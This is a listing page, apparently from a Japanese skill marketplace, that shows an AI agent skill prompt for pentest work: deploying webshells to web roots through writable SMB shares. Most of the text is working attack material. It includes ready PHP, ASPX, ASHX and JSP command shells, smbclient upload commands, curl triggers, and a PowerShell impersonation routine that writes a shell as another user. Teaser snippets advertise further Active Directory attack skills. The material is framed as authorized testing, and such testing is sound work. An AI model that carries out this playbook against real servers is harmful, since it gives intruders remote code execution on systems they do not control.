You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester deploy webshells to web server document
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester deploy webshells to web server document roots via SMB share write access. The target has a file share that maps to a web-accessible directory (IIS, Apache, XAMPP, Tomcat). The goal is to write a webshell via SMB and trigger it via HTTP for remote code execution. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[smb-share-webshell] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., smb-webshell-rce.txt).This skill covers writing webshells via SMB and achieving initial code execution through them. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — STOP.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
NEVER download, clone, install, or build tools. The operator's attackbox has a curated toolset — do not modify it.
If a tool required by this skill is not installed:
Check if a tool exists before reporting it missing:
which <tool> 2>/dev/null || find /opt /usr/share /usr/local ~/.local/bin \
-name '<tool>' -type f 2>/dev/null | head -3
Tools provided via MCP (nmap, shell-server commands) and tools inside the red-run Docker containers (evil-winrm, impacket, Responder, etc.) are always available — do not check for these.
Bash history expansion treats ! as a special character. Passwords containing
!, $, backticks, or other shell metacharacters will be silently mangled.
Canonical workaround — write to file, read from file:
# Use the Write tool to create a password file
Write("/tmp/claude-1000/cred.txt", "P@ssw0rd!")
# Read into variable
PASS=$(cat /tmp/claude-1000/cred.txt)
# Use in smbclient
smbclient "//TARGET/ShareName" -U 'DOMAIN\user' --password="$PASS"
If the orchestrator has already identified the writable share and web technology, skip to Step 2.
# List shares with authentication
nxc smb TARGET -u 'user' -p 'password' -d DOMAIN --shares
# Look for shares named: Web, wwwroot, inetpub, htdocs, webroot, www, html
# READ,WRITE access = potential web root
# Connect and look for web files
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c 'ls'
# Look for: index.php, index.html, web.config, .htaccess, default.aspx
# Subdirectories matching vhosts (e.g., app.example.com/)
| Files Found | Technology | Webshell Type |
|---|---|---|
.php, index.php, .htaccess | Apache/PHP or XAMPP | PHP |
web.config, .aspx, .asp | IIS/ASP.NET | ASPX |
.jsp, .war, WEB-INF/ | Tomcat/Java | JSP |
index.html only | Static — check for server-side engine | Try all |
# Minimal PHP command shell
echo '<?php system($_REQUEST["cmd"]); ?>' > /tmp/claude-1000/shell.php
# Upload via smbclient
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
'put /tmp/claude-1000/shell.php shell.php'
# If the share has subdirectories per vhost:
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
'cd site.target.htb; put /tmp/claude-1000/shell.php shell.php'
# Minimal ASPX command shell (IIS)
cat > /tmp/claude-1000/shell.aspx << 'ASPX'
<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>
ASPX
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
'put /tmp/claude-1000/shell.aspx shell.aspx'
Use when ASPX returns 500 errors (handler restrictions, .NET version mismatch). ASHX generic handlers bypass many IIS restrictions that block ASPX pages.
# Minimal ASHX command shell
cat > /tmp/claude-1000/shell.ashx << 'ASHX'
<%@ WebHandler Language="C#" Class="H" %>
using System;using System.Web;using System.Diagnostics;
public class H:IHttpHandler{public void ProcessRequest(HttpContext c){c.Response.Write(Process.Start(new ProcessStartInfo("cmd","/c "+c.Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}).StandardOutput.ReadToEnd());}public bool IsReusable{get{return false;}}}
ASHX
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
'put /tmp/claude-1000/shell.ashx shell.ashx'
# Trigger: curl -s "http://TARGET/shell.ashx?c=whoami"
# Minimal JSP command shell (Tomcat)
cat > /tmp/claude-1000/shell.jsp << 'JSP'
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
JSP
# Better — with output:
cat > /tmp/claude-1000/shell.jsp << 'JSP'
<%@ page import="java.io.*" %><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null)out.println(l);%>
JSP
smbclient "//TARGET/Web" -U 'DOMAIN\user' --password='PASSWORD' -c \
'put /tmp/claude-1000/shell.jsp shell.jsp'
# PHP
curl -s "http://TARGET/shell.php?cmd=whoami"
curl -s "http://site.target.htb/shell.php?cmd=whoami"
# ASPX
curl -s "http://TARGET/shell.aspx?c=whoami"
# JSP
curl -s "http://TARGET/shell.jsp?cmd=whoami"
If the webshell responds with the service account name (e.g., nt authority\local service,
domain\svc_web, www-data), you have RCE. Proceed to Step 4.
If the webshell returns empty or 404:
When you have a shell as one service account (e.g., svc_apache) but need to
write files as a different user (e.g., deploy to an IIS site writable by
C.Bum), use .NET impersonation from the existing shell.
:: Check for IIS sites
dir C:\inetpub\
netstat -ano | findstr :80
netstat -ano | findstr :8080
netstat -ano | findstr LISTENING
:: Check IIS bindings
%windir%\system32\inetsrv\appcmd list site
%windir%\system32\inetsrv\appcmd list app
When you have credentials for a user who can write to a directory your current account cannot, use LogonUser + WindowsImpersonationContext:
# Impersonate C.Bum to write an ASPX webshell to IIS dev site
$code = @'
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;
public class Impersonator {
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool LogonUser(string lpszUsername, string lpszDomain,
string lpszPassword, int dwLogonType, int dwLogonProvider,
out IntPtr phToken);
public static void WriteAs(string domain, string user, string pass,
string path, string content) {
IntPtr token;
LogonUser(user, domain, pass, 2, 0, out token);
using(WindowsImpersonationContext ctx =
WindowsIdentity.Impersonate(token)) {
System.IO.File.WriteAllText(path, content);
}
}
}
'@
Add-Type -TypeDefinition $code
# Deploy ASPX webshell
$shell = '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["c"]){RedirectStandardOutput=true,UseShellExecute=false}}.Start().StandardOutput.ReadToEnd());%>'
[Impersonator]::WriteAs("DOMAIN", "Username", "Password", "C:\inetpub\development\shell.aspx", $shell)
:: From the existing shell, curl the internal site
curl http://localhost:8000/shell.aspx?c=whoami
powershell -c "(New-Object Net.WebClient).DownloadString('http://localhost:8000/shell.aspx?c=whoami')"
If the IIS AppPool runs with SeImpersonatePrivilege, catch a reverse shell
from it and report to the orchestrator for privilege escalation routing.
After achieving RCE through the webshell:
When routing, always pass along: target IP, current user, shell session ID, web technology, and any additional writable paths discovered.
nxc smb TARGET -u user -p pass -d DOMAINnxc smb TARGET -u user -p pass --sharescd site.target.htb; put shell.php.phtml, .php5, .phar for PHP.ashx or .asmx instead of .aspxdwLogonType=9 (LOGON32_LOGON_NEW_CREDENTIALS) for network-only impersonationnet use \\localhost\C$ /user:DOMAIN\user PASSWORDnetsh advfirewall firewall show rule name=all | findstr 8000netstat -ano | findstr :8000127.0.0.1 instead of localhostまだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。